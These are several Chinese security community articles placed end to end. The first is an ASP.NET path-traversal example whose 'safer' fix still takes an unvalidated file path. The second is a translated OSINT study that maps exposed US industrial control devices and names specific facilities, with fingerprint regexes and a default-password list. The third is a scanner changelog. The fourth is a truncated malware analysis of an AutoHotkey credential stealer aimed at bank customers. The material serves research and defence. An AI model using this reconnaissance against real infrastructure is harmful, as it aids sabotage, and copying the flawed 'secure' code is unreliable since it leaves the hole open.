另一件需要记住的重要事情是，数据库管理员应该禁用“xp_cmdshell”存储过程。数据库用户不应具有启用此存储过程的权限。开发人员永远不应使用此存储过程，因为恶意用户可以使用此过程执行操作系统级命令。
数据库管理员应启用SQL Server审核日志，以保留登录审核，SQL Server审核，SQL跟踪，DML，DDL和登录触发事件的日志。
考虑到攻击的严重性，SQL注入是最危险的攻击，它可以危害整个数据库服务器和Web服务器。可以通过对存储过程进行参数化并仅向SQL
DB用户授予有限的权限来阻止此攻击。
SQL DB管理员应创建不同的用户，并仅允许他们访问服务器上的特定数据库。只允许有限数量的用户访问单个数据库。每个用户必须仅具有访问数据库的有限权限。
应禁用Sysadmin(SA)用户，而应创建具有精简权限的自定义系统管理员用户，这样，如果恶意用户以某种方式获得了对数据库的访问权限，他应该无法使用“SA”用户获得系统级权限。
# ASP.NET（本地文件包含）
LFI漏洞使得恶意用户能够访问Web服务器上的其他文件。这是OWASP 10漏洞列表中列出的最关键漏洞之一。
下面是允许下载某些文档的示例ASP.NET代码。
http://abcd.com/<vuln.page>?<vuln query string>
Consider the below code:
public partial class Downloads_Download : System.Web.UI.Page
{
string sBasePath="";
protected void Page_Load(object sender, EventArgs e)
{
try
{
string filename = Request.QueryString["fname"];
string sBasePath = System.Web.HttpContext.Current.Request.ServerVariables["APPL_PHYSICAL_PATH"];
if (sBasePath.EndsWith("\\"))
sBasePath = sBasePath.Substring(0, sBasePath.Length - 1);
sBasePath = sBasePath + "\\" + ConfigurationManager.AppSettings["FilesPath"] + "\\" + filename;
Response.AddHeader("content-disposition", String.Format("attachment;filename={0}", filename));
Response.WriteFile(sBasePath);
}
catch (Exception ex)
{
Response.Redirect("~/Error.aspx?message=" + ex.Message.ToString() + " path=" + sBasePath);
}
}
}
让我们来浏览一下上面的代码，找出它的问题所在。
“fname”参数在没有任何验证或清理的情况下被接受。此代码容易受到目录遍历漏洞和信息泄漏的影响，这些漏洞可能会泄露导致进一步威胁的敏感数据。
应该以只允许下载特定文件扩展名的方式编写代码。Content type: application / octet-stream不安全，不应设置为switch
case函数中定义的默认content-type。
看看下面的代码，它比之前的代码更安全：
protected void Page_Load(object sender, EventArgs e)
{
//string file = Server.MapPath(HttpUtility.UrlEncode(functions.RF("file")));
string file = Server.MapPath(functions.RQ("file"));
if (File.Exists(file))
{
Regex reg = new Regex(@"\.(\w+)$");
string ext = reg.Match(file).Groups[1].Value;
switch (ext)
{
case "xls":
Response.ContentType = "application/vnd.ms-excel";
break;
case "xlsx":
Response.ContentType = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
break;
case "ppt":
Response.ContentType = "application/vnd.ms-powerpoint";
break;
case "pptx":
Response.ContentType = "application/vnd.openxmlformats-officedocument.presentationml.presentation";
break;
default:
Response.ContentType = " application/pdf ";
break;
}
byte[] buffer = File.ReadAllBytes(file);
Response.OutputStream.Write(buffer, 0, buffer.Length);
Response.AddHeader("Content-Disposition", "attachment;filename=" + Path.GetFileName(file));
}
else
{
Response.Write("This file Extension is not allowed");
}
}
在上面的代码中，用户只能下载扩展名为xls，xlsx，ppt，pptx和pdf的文件。
开发者已经为每个文件扩展名设置了一个“content type”，这意味着对于PDF文件类型，content
type是application/pdf，并且只允许下载PDF文件。
MIME(多用途互联网邮件扩展)内容类型描述内容/文件的媒体类型，帮助浏览器正确处理和显示内容。在下载或上传文件时，应用程序必须描述文件的“content
type”，否则，浏览器将不知道要处理的预期内容与报告的MIME类型不同。
默认content type不应为“application/octet-stream”。开发人员不应在其代码中使用此content
type，除非是有别的目的。
除了上述问题外，ASP.NET Web应用程序中还存在其他严重漏洞。虽然所提到的缓解步骤不足以保护ASP.NET
Web应用程序的整体安全，但通过遵循这些步骤，可以至少消除ASP.NET Web应用程序中的基本漏洞。我们将在即将发布的博客中讨论剩余的高风险漏洞。
原文链接https://www.gspann.com/resources/blogs/high-risk-vulnerabilities-found-in-asp.net-web-applications | 社区文章 |
# 如何利用开源工具收集美国关键基础设施情报？
##### 译文声明
本文是翻译文章，文章原作者 代码卫士，文章来源：代码卫士
原文地址：<https://mp.weixin.qq.com/s/kRbzl5pSEJqsTYnjdE3kUw>
译文仅供参考，具体内容表达以及含义原文为准。
编译：奇安信代码卫士团队
本报告研究的是工业控制系统 (ICS) 。作者 Wojciech
说明了如何通过开源情报对关键基础设施实施侦察。很多时候，可以从具体的建筑物如发电厂、废水池或化学和制造设施入手开展研究。本研究由美国被暴露的2.6万台设备组成。奇安信代码卫士团队现将报告翻译如下，供各位参考:
## 开源情报 (OSINT)
开源情报(OSINT)
是个较为宽泛的领域，很多人都在不知不觉的情况下使用它。你所阅读的或观看的影响你的看法，而基于所收集的信息你坚持己见并作出自己的决策和判断。这些信息的来源可能是传统的大众媒体如电视、收音机或报纸或互联网及其所含信息如网站、社交媒体或博客。另外，OSINT用于开展多项调查如地理定位照片或追踪特定个体的行踪。它还夹杂着其它情报技术如人工智能
(HUMINT)、地理空间智能 (GEOINT) 或网络智能
(CYBINT)。根据照片或威胁行动者遗留的微小线索，人们就能够收集很多信息，将它们拼凑成完整的图像，进而得出最终结论。另外，OSINT有助于网络犯罪防范组织追踪犯罪分子的行踪，有利于情报机构获取关于对手的能力信息，在真实世界和网络世界中均是如此。了解了乌克兰、伊朗和沙特阿拉伯发生的事件后，我们应该意识到国家关键基础设施可能遭受的损害。如遇冲突，直接暴露在互联网上的设备可能被黑并以多种方式引发损害。美国中情局(CIA)
强调的五大主要OSINT 领域包括：
* 互联网——在本研究中我使用了很多 Web 信息。我获取了直接联网并暴露于互联网的工控设备。
* 传统的大众媒体
* 照片——多数源自社交媒体服务以及其它来源如谷歌街景，本研究也使用了谷歌街景。
* 会议——人们分享简介和信息的地方，它也同时包含专业记者和智库的研究成果。
* 地理空间信息——包含地图和商业图像产品，包括检查地理位置并追踪可能和设备之间存在关联的最近建筑物。
而我在本研究中使用 OSINT 来可视化并收集美国所暴露的约2.6万台 ICS 设备的地理位置信息和技术信息。
## 关键基础设施
我们很难界定哪些是关键基础设施哪些不是。通常而言，构成社会和国民经济主要部分的且它们的破坏或功能丧失会影响国家安全、医疗、能源或水利行业的行业和资产都属于关键基础设施。因此，负责运营美国国土安全局
(DHS) 所罗列的16个行业的每个建筑物和财产必须以关键基础设施对待而且应该实现适当的安全控制和机制。
为了更好地理解这一概念，举个例子：商场附近的停车场可以使用工控设备但它并非关键基础设施；与之相反，任何发电厂（如被黑或遭攻陷可能导致个人和企业无法使用能源）就被视作关键基础设施。DHS
提到的16个关键基础设施行业包括：
* 化学制品——包括化学设施、制药或特殊/农业化学制品；
* 商业设施——聚集大规模人群的场所如体育场、购物中心、赌场、游乐园、动物园或酒店；
* 通信——它提供其它关键基础设施的连接，并包括无线、地面和卫星传输；
* 运输——它负责以各种方式将大量的人或货物运输到不同的地方。例如铁路或机场；
* 制造业——涉及不同行业的制造业：初级金属、机械、电气设备和运输设备。制造业的作用是确保经济繁荣和国家的连续性；
* 大坝——防止洪水泛滥，并提供蓄水和控制服务；
* 国防工业基地——每个负责生产、设计或交付军事武器的设施都被视为关键基础设施。此外，提供研发的行业，如政府承包商也在这一领域。它是国防上最重要的部门之一，因为没有它，就不可能动员、部署和维持军事行动；
* 应急——该行业构成社会生活的核心，包括执法和消防部门、公共工程和医疗急救服务。它还提供其它服务如特警队、搜救队、融合中心、犬科和911呼叫中心；
* 能源——为城市和企业提供电力。没有稳定的能源供应，其它的关键基础设施也可能处于危险之中。它也是所有人日常活动的必需品；
* 金融——保险公司、存托机构和融资组织；
* 粮食和农业——高度依赖于能源、化学、废物和运输领域，包括农场、饭店和食品制造业；
* 政府设施——国家所有或出租的建筑物。该行业最关键的设施是军事设施、国家实验室、法院或使馆。此外，它还包括网络元素，例如访问控制系统和闭路电视系统。它还设有一个教育设施分部门，涵盖学校和高等教育机构。负责保护存储设施和投票站等资产的选举基础设施也是政府设施行业的一个子部分。
* 医疗保健和公共卫生——保护其它行业免受自然/人为灾难或传染病的侵害；
* 信息技术——主要侧重于提供硬件、软件和信息技术，并与通信部门一起提供互联网；
* 核反应堆、材料和废物——包括动力堆、研究和测试反应堆或核燃料循环设施；
* 水和废水系统——确保饮用水和废水处理的供应。
## 开源情报和关键基础设施
了解了开源情报的基础和关键基础设施行业之后，我们可以结合二者获取某个国家的关键资产情报。它对于理解对手网络的潜力和弱点发挥着重要作用，也是发动所有网络攻击的首要步骤。关键基础设施的开源情报多数供情报服务用于在战争时期从事间谍活动以及实施潜在的破坏活动，或者只是用于展示自身的网络实力。犯罪组织也对攻陷某个国家的关键行业感兴趣，但多数是为了获取金钱收益——他们使用开源情报实施侦察，目的是开发并出售
ICS 恶意软件或交易被盗凭证。可能攻击关键 ICS
设备并使用开源情报的群体是恐怖分子，他们的目的是削弱国家经济、挫败公众士气并威胁国家安全。我将内部人员也算在这一群体内，因为他们具备已部署基础设施的大量知识，他们可能不具备所有一切关键基础设施的访问权限，但了解用于关键基础设施例如发电厂的网络和技术。我们可以从开源数据收集很多某些关键基础设施建筑物的信息，比如某个建筑物或城市的准确的地理位置信息等。这样我们就能从物理监控、社交媒体照片、谷歌地图或街景中收集更多的信息。查找关键基础设施某个元素的漏洞或入口点，我们不应该忘记其中的工作人员。适当的侦查允许雇佣内部人员、安插自己的卧底，不过鱼叉式钓鱼活动也起着重要作用。值得注意的是，开源情报是在目标不知道自己正在被调查的情况下被动地收集数据。如果你具备设备的如下技术详情，那么主动侦查的大门已经敞开：
* IP地址/主机名——用于扫描附近的资产或不常用端口；
* 技术——借此找到或研究某个特定系统的漏洞。例如，如果知道目标多数时间使用 Niagara Fox，那么我们就不需要花费太多时间查找 Codesys 产品的新利用；
* 端口——设备的其它开放端口可能为攻击者提供了一个入口点。过时和易受攻击的 Apache 服务器可用于深入网络；
* 设备响应——它提供了所运行设备的很多有用且详细的信息。它还极大地有利于建立运营设备所在建筑物的真实地址。在安装过程中，技术人员通常会说明街道的名称、建筑物、确切的地址位置、电话号码或其它敏感信息
BACnet 设备的示例字段：
* Vendor ID
* Vendor Number
* Object Identifier
* Firmware Revision
* Application Software Revision
* Object Name
* Model Name
* Description
* Location
* Broadcast Distribution Table (BDT)
* Foreign Device Table (FDT)
Niagara Fox 的字段示例：
* Fox Version
* Hostname
* Host Address
* Application Name
* Application Version
* Station Name
* VM Name
* VM Version
* OS Name
* Time Zone
* Host ID
* VM UUID
* Brand I
Niagara Fox 设备的真实响应示例：
>
> fox a 0 -1
> foxhello\n{\nfox.version=s:1.0.1\nid=i:255149\nhostName=s:192.168.1.11\nhostAddress=s:192.168.1.11\napp.name=s:Station\napp.version=s:3.8.311\nvm.name=s:JavaHotSpot(TM)
> Embedded
> ClientVM\nvm.version=s:25.141-b06\nos.name=s:QNX\nos.version=s:6.5.0\nstation.name=s:Guadelupe_Jail\nlang=s:en\ntimeZone=s:America/Chicago;-21600000;3600000;02:00:00.000,wall,march,8,onor
> after,sunday,undefined;02:00:00.000,wall,november,1,on
> orafter,sunday,undefined\nhostId=s:Qnx-> JVLN-0000–05A1–7B93\nvmUuid=s:11e98b97-b656–1c50–0000–00000000bafd\nbrandId=s:vykon\nsysInfo=o:bog61[<bog
> version=”1.0″>\n<p m=”b=baja” t=”b:Facets”
> v=””/>\n</bog>\n]\nauthAgentTypeSpecs=s:fox:FoxUsernamePasswordAuthAgent\n};;\nfoxa
> 1 -1 fox rejected\n{\n};;\n
## 收集数据
如上所述，本研究仅基于以被动方式收集的数据。我是用了两种服务，分别是 Shodan 和 BinaryEdge，它们都允许用户查找互联网上的联网设备，其中包括
ICS 设备。另外它们提供过滤功能，从而可以发现自己感兴趣的内容或者将搜索的范围缩小到某个具体的国家、产品或版本。和 Shodan
不同，BinaryEdge 提供现成可用的查询，以便我们过滤所有可能的 ICS 设备，但它不支持地理位置信息。为了使用这一解决方案，我们需要拥有他们自己的
IP 地址位置信息数据库并借此收集 IP 地址。虽然免费的数据库并不十分准确但最好的是 Maxmind。而Shodan 直接从 API
提供设备的地理位置数据且无需进行更多检查。然而，要使用标记并列出所有的 ICS 设备（如 BinaryEdge
那样），我们需要具有“企业级”访问权限，但这种权限花费较高。所搜索的设备和我之前的研究工作是一致的：
* Modbus
* Siemens S7
* Tridium
* General Electric
* BACnet
* HART IP
* Omron
* Mitsubishi Electric
* DNP3
* EtherNet/IP
* PCWorx
* Red Lion
* Codesys
* IEC 60870–5–104
* ProConO
为了主动地查找美国暴露的设备，我们需要扫描1,573,564,566个IP地址，并进行分类、进行地理定位并将它们展现到地图上。我们不可能知道工控设备的默认端口及其返回的响应。为此，最好是使用
masscan 或类似工具，通过正则表达式匹配响应。可从此处找到 nmap
正则表达式的完整列表：<https://svn.nmap.org/nmap/nmap-service-probes>。检测 Niagara Fox
设备的正则表达式如下：
>
> matchniagara-fox m|^fox a 0 -1
> foxhello\n\{\nfox\.version=s:([\d.]+)\nid=i:\d+.*\napp\.name=s:Station\napp\.version=s:([\d.]+)\n|sp/Tridium
> Niagara/ v/$2/ i/fox version $1/ cpe:/a:tridium:niagara:$2/
检测 Allen-Bradley 管理服务器的正则表达式如下：
>
> matchhttp m|^HTTP/1\.0 200 OK \r\nServer: A-B
> WWW/([\d.]+)\r\n.*<imgsrc=\”/images/rockcolor\.gif|s p/Allen-Bradley WWW
> httpd/ v/$1/ i/RockwellAutomation Ethernet Processor http config/
另外，为了获取更多详情，我们需要使用Nmap Scripting Engine (NSE) 脚本。他们会发送正确的
payload以便我们获取设备的规格。主动扫描并不是隐形的，而且需要比被动收集付出更多的努力，但我认为结果应该是非常类似的。
开源工具 KamerkaKamerka
的第一个版本可以简单地可视化给定位置摄像头。基于此，它会展示某个企业网络块中虽然并不存在的资产但却在企业附近或内部运营的资产因此属于该企业的资产。它也可被用于通过入侵摄像头或找到无需认证的摄像头的方式实施间谍活动。我创建这个开源工具的目的是突出强调具有较高军事或商业价值的建筑物附近的互联网摄像头所存在的问题。当然，物联网世界中并不止摄像头。因此
Kamerka 的第二个版本还涵盖了打印机、信息查询遥测协议 (MQTT)和实施流协议 (RTSP)。所有这些如保护不当，则可遭滥用。另外，很多协议如
MQTT通常被关键基础设施用作智能传感器，处理某设施的机密测量数据。在纽约某发电厂中运行的工业物联网设备如下：
Kamerka 的最后一个版本可供用户扫描某个国家的工控设备并将包括具体详情的结果展示在地图上，其中包括某个特定 IP
地址的所有人信息。上次研究展示的是波兰和瑞士，而这次我要展示的是美国暴露的2.6万台设备。我必须把脚本缩小以便展示比平时更多的数据并将其放在
Elasticsearch 中以便更好地管理。由于展示的是所有的设备，因此地图看上去有一些模糊，不过可以根据具体的查询，针对所拥有的信息创建其它地图。
(被暴露的1.5万台设备地图）端口5900 (Virtual Network Computing) 开放的设备：Red Lion Controls
端口789 开放的设备：
## 数据统计
在我们进行地理定位和识别之前，我将展现一些统计数据。受影响最大的组织机构是：
受影响最严重的城市是：
开放的端口：
前5大 ICS 端口：
* 1911
* 47808
* 4911
* 502
* 44818
前5大其它端口：
* 80
* 443
* 8080
* 8443
* 22
## 研究成果
如上所见，很多设备在端口80、443或8080都暴露了管理面板。远程技术人员可以在不必实际到达现场的情况下接触管理设备。然而，从安全的角度来看，这个解决方案应该增加其它措施。默认或弱密码是对工控设备或物联网设备最常见也最不负责任的做法。开源情报同时也包括阅读文档和系统指南以获取相关运作情况以及应该使用哪些功能以获取更多信息或完整的访问权限。
已知默认凭证的完整清单见：
> <http://www.critifence.com/default-password-database/>
有很多面板在不安全的端口80或8080运行。
另外，也可从登陆面板获取其它有价值的线索，其中包括站点名称、组织机构或工厂的图片，这样我们就能将结果缩小到某个具体的品牌。
某些设备暴露了无需认证即可发现的自身的网络配置、诊断信息、统计数据或设置。这是另外一种指标，可以帮助我们获取所运行基础设施的完整图片。
如果某人已经建立了对网络的访问权限并查找潜在的工控设备，那么所暴露的信息就能够起到重要作用，它包括IP地址、子网掩码、网关地址或名称服务器。在很多情况下我看到使用外部
DNS 系统，从而为多种不同的攻击敞开大门。
在工控设备上运行无需认证的 VNC
也并非最佳想法。这是根本不应该发生的事情，这是个明显的错误或者表明对自己的基础设施缺乏了解。从攻击者的角度来看这简直是小菜一碟——他无需验证即可获得访问权限并完全控制该设备。当然，我们不会将其称为攻陷整个设施但它肯定是一个好的开端。所有的VNC都在端口5900上以人机交互
(HMI) 的身份运行。
VNC 并非设备可能暴露的唯一方式；某些制造商设备上的端口80在无需验证的情况下返回 HMI。其中某些网站要求登录进行交互但它并非必需步骤。
你可能注意到了，判断某个建筑物或设施的连接和地理定位信息的另外一个指标是 HMI。HMI
本身披露了对设备的使用，因此很容易判断出是洗车场某个废水处理厂的设备。屏幕上显示的技术和品牌也披露出很多规格以及设备的用途。
地理定位要仅针对关键基础设施发动攻击，我们需要排除不具备战略意义的设备。例如，管理公园喷泉的设备可能遭暴露但攻陷它并不会带来任何利益，因此对于任何人而言它都不是关键基础设施。那么，如何找到负责关键基础设施的设备和建筑物？你可以使用生成的地图并查看目标附近的每台设备如城市或政府建筑物。第二种方法就是通过逆向工程查找设备的部件如车站名称、说明或未知。如上所述，Niagara
Fox 和 BACnet
有时候会披露不该披露的信息，包括街道名称、未知或设施的名称。结合其它指标信息，我们就能找到正确的建筑物。IP地理定位也并不一定是精确的，它不会指向确切的位置但能够准确地显示出城市，而且有些时候能够显示出该设备可能位于哪条街道。为了验证我的说法，我将列举一些案例，说明我如何通过利用所收集的信息找到对某国或某城市而言具有战略意义的建筑物。水和废水系统行业如上所述，水和废水系统行业也属于关键基础设施。当它们遭到破坏时，我们将无法获取饮用水从而引发企业和社会问题。在这个案例中，Niagara
Fox 设备的“station.name”字段中披露了设施的名称。
IP 地理定位指向佛蒙特州伯林顿的夏日街道14号 (IP geolocation points to 14 Summer Street
inBurlington, Vermont)，距离最近的废水工厂1.5英里。
有了这个信息后，下一步就是通过扫描资产和查找网络上的更多资产来准备实施物理监控和主动收集情报。化学制品行业当你管理很多站点时，你必须知道站点连接到何处。这个案例表明舒适是安全的大敌。该站点的位置被暴露在设备中，而且甚至不需要正确的地理定位就能获取该建筑物的位置信息。
“station name”包含了所在地“珍珠河” (Pearl River)、所在州“纽约” (New York) 和组织机构名称“辉瑞”
(Pfizer)。
从他们的官方网站来看，我们获悉它是辉瑞的九大主要研发站点之一。
医疗行业所有医院的设备都非常脆弱而且服务破坏可导致出诊顺序紊乱或者引发不可挽回的健康问题如死亡等。这些设施应该执行特殊的安全控制并不允许远程连接。医疗行业错误配置的一个例子是
Piedmont医院。在本案例中，确切位置遭暴露——街道、城市和所在州。
这是测试地理定位能力的很好的一个例子——了解设备的确切位置后我们就能查看IP地理定位是否准确。
在本案例中，距离目标3.5英里远——西春街 2151号 (2151 West Spring Street)。
在一些案例中，你可以从官方网站上看到建筑物的内部情况，每层楼和每个房间都一览无余，包括会议室、存储和工厂运作等。它是我们获取精确情报信息的又一个指标。你可以看出如果了解了该设施的内部情况会掌握多少有价值的信息。有人可能能够连接到该设备并实施破坏，当然这也取决于俄设备的实际用途。
能源行业能源行业非常具体，因为它高度依赖于其它行业如制造业或政府设施。没有稳定的能源供应，社会和企业就无法正常运转。基于此前的网络攻击的情况来看，它是遭受攻击最多的行业之一，例如乌克兰电力网遭到攻击后导致停电数小时并可能使所有城市瘫痪。有时候，我们无法确定IP地理定位信息，它只是指向某个国家的中心。如果不存在其它之标的，我们就无法找到它的位置信息。
“station name”清楚地说明了设施的名称以及设备可能具备的功能“核心”。
温斯顿·塞勒姆（Winston-Salem）有一家著名的发电厂，最近进行了翻新并举办了许多活动。
制造业/国防工业基地行业很多国防承包商都协助处理机密材料、制造设备或以其它方式进行合作。如果他们的系统遭暴露，那么就会危害国家安全。确定地理位置后，我们就能找到该公司的名称，从而找到某个设施。
地理定位指向宾夕法尼亚州的克拉克斯峰 (Clarks Summit)。最近的洛克希德·马丁 (Lockheed Martin) 公司距离11英里。
从官网可获得关于该具体设施及其作用的相关信息。
对比该研究结果和谷歌地图提供的真实视图，我们可以从官网找到这个建筑物。
我将以上提及的研究成果都告知相关组织机构，但并未收到任何回复。
## 总结
即使是老练的网络工程师，维护关键基础设施和工控设备的安全也并非易事，而且错误时时都在发生。当在建造基础设施时未考虑安全性，那么就会将其暴露于网络攻击和间谍活动中，尤其是当你在其中任何一个关键行业行动时。任何针对设施的网络攻击可能引发愤怒、给企业造成金钱损失甚至导致命案，我们需要认识到，这些行业相互依存而且是所有人日常生活的必需品。我总结了为何暴露在互联网上的工控设备如此多的四种原因：
* 某些设备是用于追踪威胁行动者的蜜罐——研究人员设置模拟工控基础设施的陷阱以查看追逐这类型设备的人员以及在侦查和攻击阶段所使用的战术、技术和程序 (TTPs)。其中一个 ICS/SCADA 蜜罐例子是 Conpot。
* 技术人员偷懒——参与工控设备安装的技术通常允许远程连接，这样技术人员就不必在每次需要更改配置时实际到达现场。
* 错误配置——每个人都会出错，而错误的防火墙设置可能是设备遭暴露的罪魁祸首之一。然而，追踪这些错误并及时做出反应起着重要作用。
* 金钱——它和前一个“偷懒”的原因相关。每次技术人员到访现场都会产生支出。组织机构想要节约一切可节约的钱财，通常这个被节约的领域就是安全。
* 很遗憾，我们无法预知所有的事情，但我们可以积极地对抗可能暴露设施或设备信息的错误信息行为。当然，当设备被暴露在互联网上时，就可能招来各种攻击，从脚本小子到有经验的脚本小子不一而足。
但我们可以采取一些防范措施：
* 执行信息分类计划——威胁行动者实施间谍或侦查活动使用的详情是什么？这种数据应该限制访问权限且设置为无法公开获取；
* 维护详尽的清单——持续记录环境中发生的变化并试着理解潜在的外部攻击向量；
* 主动监控——监控外围网络安全设备并利用主动侦查技术（如端口扫描）
* 使用开源情报收集——收集尽可能多的关于攻击者可能用于攻击基础设施的信息。地理定位数据、设备详情或个人数据对于威胁行动者而言都是有价值的信息。尝试了解任何危害设施安全的方法。
## 结论
本研究仅展示了可能构成关键基础设施的2.6万台设备中的5个设备案例。这些设施提供的设备或服务确保国家的持续性并发挥着重要的社会作用。在商业行业的情况下，企业有责任确保自身网络的安全，但对于关键基础设施而言，保护它的安全事关公众利益。利用情报收集方法可以特别关注所在国的关键基础设施，了解威胁行动者可能会收集哪些信息。另外，本文所展示的方法可用于收集对手网络潜力和能力数据以及关键基础设施的战略位置。参考资料及补充资料
> <https://www.cia.gov/news-information/featured-story-archive/2010-featured-> story-archive/open-source-intelligence.html>
>
> <https://www.dhs.gov/cisa/critical-infrastructure-sectors>
>
> <https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-> report-when-the-lights-went-out.pdf>
>
> <https://dragos.com/wp-content/uploads/CrashOverride-01.pdf>
>
> <https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf>
Kamerka 地址：<https://github.com/woj-ciech/kamerka>
原文链接<https://www.icscybersecurityconference.com/intelligence-gathering-on-u-s-critical-infrastructure/>
题图：Pixabay License
本文由奇安信代码卫士编译，不代表奇安信观点，转载请注明“转自奇安信代码卫士 [www.codesafe.cn](www.codesafe.cn)” | 社区文章 |
更新日志：
为Apache Struts框架漏洞添加了新的漏洞检查。
改进
为“抓取的网址列表”，“扫描的URL（s）列表”和“漏洞列表”报告模板添加了JSON格式选项。
MySQL数据库改进的盲注SQL注入检测。
修复
修复了针对根证书报告的不正确的弱签名算法。
修复了报告策略编辑器上的破坏的编辑功能。
修复扫描期间的空活动列表问题。
修复了导入扫描时缺少的自定义Cookie问题。
下载地址:<http://pan.baidu.com/s/1cs2Mlw> 密码：50mq | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.trendmicro.com/en_us/research/20/l/stealth-credential-stealer-targets-us-canadian-bank-customers.html>**
### 前言
攻击者总是在寻找一种方法来执行受害者机器上的文件，并且希望不被发现。一种方法是使用一种脚本语言。如果受害者的操作系统中没有内置的编译器或解释器，那么这种脚本语言就无法执行。Python、AutoIT和AutoHotkey（AHK）就属于这种脚本语言。特别是，AHK是一种面向Windows的开源脚本语言，旨在提供简单的键盘快捷方式或热键、快速的微创建以及软件自动化。AHK还允许用户使用代码创建一个`compiled.EXE`文件。
12月中旬，我们发现了一个散布盗用证书的活动。这个活动的主要代码组件是用AHK编写的。跟踪发现，这个活动从2020年初就开始了。恶意软件感染由多个阶段组成，这些阶段以恶意Excel文件开始。反过来，此文件包含AHK脚本编译器可执行文件、恶意AHK脚本文件和Visual
Basic for
Applications（VBA）AutoOpen宏。完整的攻击链如图1所示。我们跟踪了恶意软件的命令和控制（C&C）服务器，并确定这些服务器来自美国、荷兰和瑞典。我们还了解到，该恶意软件一直针对美国和加拿大的金融机构。
删除的`adb.exe`以及`adb.ahk`在此感染中起关键作用。这个`adb.exe`是一个合法的可移植AHK脚本编译器，在给定的路径上编译和执行AHK脚本。默认情况下（不带参数），此可执行文件在同一目录中执行同名脚本。删除的AHK脚本是一个下载程序客户端，负责实现持久性、分析受害者，并在受害者系统上下载和执行AHK脚本。
为了保持持久性，下载客户端在startup文件夹中为`adb
.exe`创建一个自动运行链接。这个可移植编译器用于编译和执行AHK脚本。默认情况下（没有传递参数），这个可执行文件在同一个目录中执行一个同名的AHK脚本（本例中为`adb.ahk`）。
该脚本通过C驱动器的卷序列号为每个受害者生成唯一的ID来分析每个用户。然后，恶意软件会经历一个无限循环，并开始每隔五秒发送一个带有生成ID的HTTP
GET请求。此ID用作其命令和控制（C&C）服务器的请求路径，以便在受感染的系统上检索和执行AHK脚本。
为了执行命令，该恶意软件为每个受害者接受不同任务的各种AHK脚本，并使用相同的C&C
URL执行这些脚本（而不是在一个文件中实现所有模块并接受执行它们的命令）。这样，攻击者可以决定上传特定的脚本，以实现每个用户或用户组的自定义任务。这也防止了主要成分被公开披露。尽管我们注意到这次攻击早在2020年初就开始了，但是沙盒仍然没有发现一个命令。这表明，要么是攻击者选择了何时向受感染的受害者计算机发送命令，要么是C&C服务器的快速变化使得跟踪变得困难。到目前为止，我们已经发现了五个C&C服务器和两个命令：
**deletecookies** 和 **passwords** 。
图1.恶意软件的攻击链
在下载程序客户端下载的组件中，我们发现了一个用AHK编写的窃取脚本。此脚本负责从各种浏览器获取凭据并将其过滤给攻击者。值得注意的是，这种脚本的变种可以针对特定的网站。其中包括加拿大的主要银行，如图2所示。
图2.加拿大银行的客户属于渗透的目标凭证
有趣的是，AHK提供了脚本，其中包含俄语的使用说明。这表明在创建攻击链的背后是“雇用黑客”组织。下面我们将描述图1中所示的攻击链的详细信息。
### 恶意组件分析
如果用户启用了宏以打开Excel文件，那么VBA AutoOpen宏将删除并通过可移植的AHK脚本编译器执行AHK下载程序客户端脚本。
图3. Excel文件中的VBA dropper
默认情况下，已删除的可移植AHK脚本编译器`adb.exe`在同一目录中执行具有相同名称的AHK脚本。在这种情况下，`adb.exe`自动检测并执行`adb.ahk`脚本。
图4. AHK下载器脚本
如前所述，`adb.ahk`是一个下载客户端，它负责持久性，对受害者进行性能分析，以及每五秒钟连续在受害者系统中下载和执行AHK脚本。该恶意软件向其C&C服务器发送HTTP
GET请求，以便在受感染的计算机中下载并执行AHK脚本。
图5. AHK下载器发送的HTTP GET请求
服务器的响应将保存到名为`adb.exe〜`的文件中（`adb.exe〜`是AHK纯文本脚本；不是可执行文件）。图5中的HTTP
GET请求路径是受害者的唯一ID，其格式如下：
需要注意的是，在其他一些变体中，`-xl2`被替换为`-pro`。在adb.ahk执行下载的AHK脚本之前，它将首先检查文件的末尾是否存在特定字符（“〜”）。如果找到该字符，则继续执行。
此外，该恶意软件还会在启动文件夹中创建一个自动运行链接，该链接指向名为`GraphicsPerfSvc.lnk`的`adb.exe`
AHK脚本编译器。如前所述，默认情况下，编译器执行具有相同名称和目录的AHK脚本。
图6.有效窃取程序的最后一行
### 偷窃程序分析
下载器客户端下载的脚本之一是浏览器凭据窃取程序。下面，我们将研究此恶意脚本的实现、功能以及网络通信。
成功执行后，恶意软件会通过HTTP POST请求向其C&C服务器发送状态日志（“passwords: load”）：
图7.恶意软件发送状态日志
与`adb.ahk`一样，此脚本还会根据C驱动器的卷序列号为其受害者生成唯一的ID。生成的唯一受害者ID用于跟踪感染，并且对于每个受害者始终保持相同。
然后，窃取程序尝试在受害计算机上下载`sqlite3.dll`。恶意软件使用此DLL对浏览器的应用程序文件夹中的SQLite数据库执行SQL查询。
图8.窃取程序下载`sqlite3.dll`并发送执行状态
从上面的代码段中，我们可以看到恶意软件再次检索了C驱动器的卷序列号，并搜索了两个硬编码的序列号605109072和605109072。这两个序列号用于调试。退出时，脚本在消息框中显示SendLog()函数参数。值得注意的是，这种调试技术也可在此脚本的各种函数中看到。
攻击者使用以下开源代码通过AHK处理SQLite数据库。
图9. AHK的开源SQLite类
该恶意软件的主要目的是从各种浏览器（例如Microsoft Edge、Google Chrome、Opera、Firefox和Internet
Explorer（IE））中窃取凭据。为了实现此任务，恶意软件使用以下功能：
图10.窃取程序功能
下图演示了上述功能：
图11.与Chrome，Edge和Opera浏览器相关的功能概述
图12. Firefox窃取程序功能概述
图13. IE窃取程序功能概述
该恶意软件会识别受害计算机中安装的浏览器，并通过SendLog()函数将其发现并报告给C&C服务器。如果未安装目标浏览器，恶意软件会将其标记为`not_found`：
图14.在此图像中，恶意软件将“Opera_not_found”发送到C&C服务器，因为它在已安装的浏览器中找不到Opera
另一方面，如果目标浏览器在受害计算机中，则恶意软件将其标记为“_ok”，如下图所示：
图15.由于Chrome是已安装的浏览器之一，因此恶意软件会将“Chrome_ok”发送到C&C服务器
以下代码演示了恶意软件如何搜索Chrome、Edge和Opera的登录数据。
图16.恶意软件找到已安装的浏览器
对于Internet Explorer密码窃取程序，我们从开放源IE密码信息窃取程序中借用了一些代码，并将其转换为AHK。
图17. IE窃取程序
### 数据过滤
最终，恶意软件通过HTTP
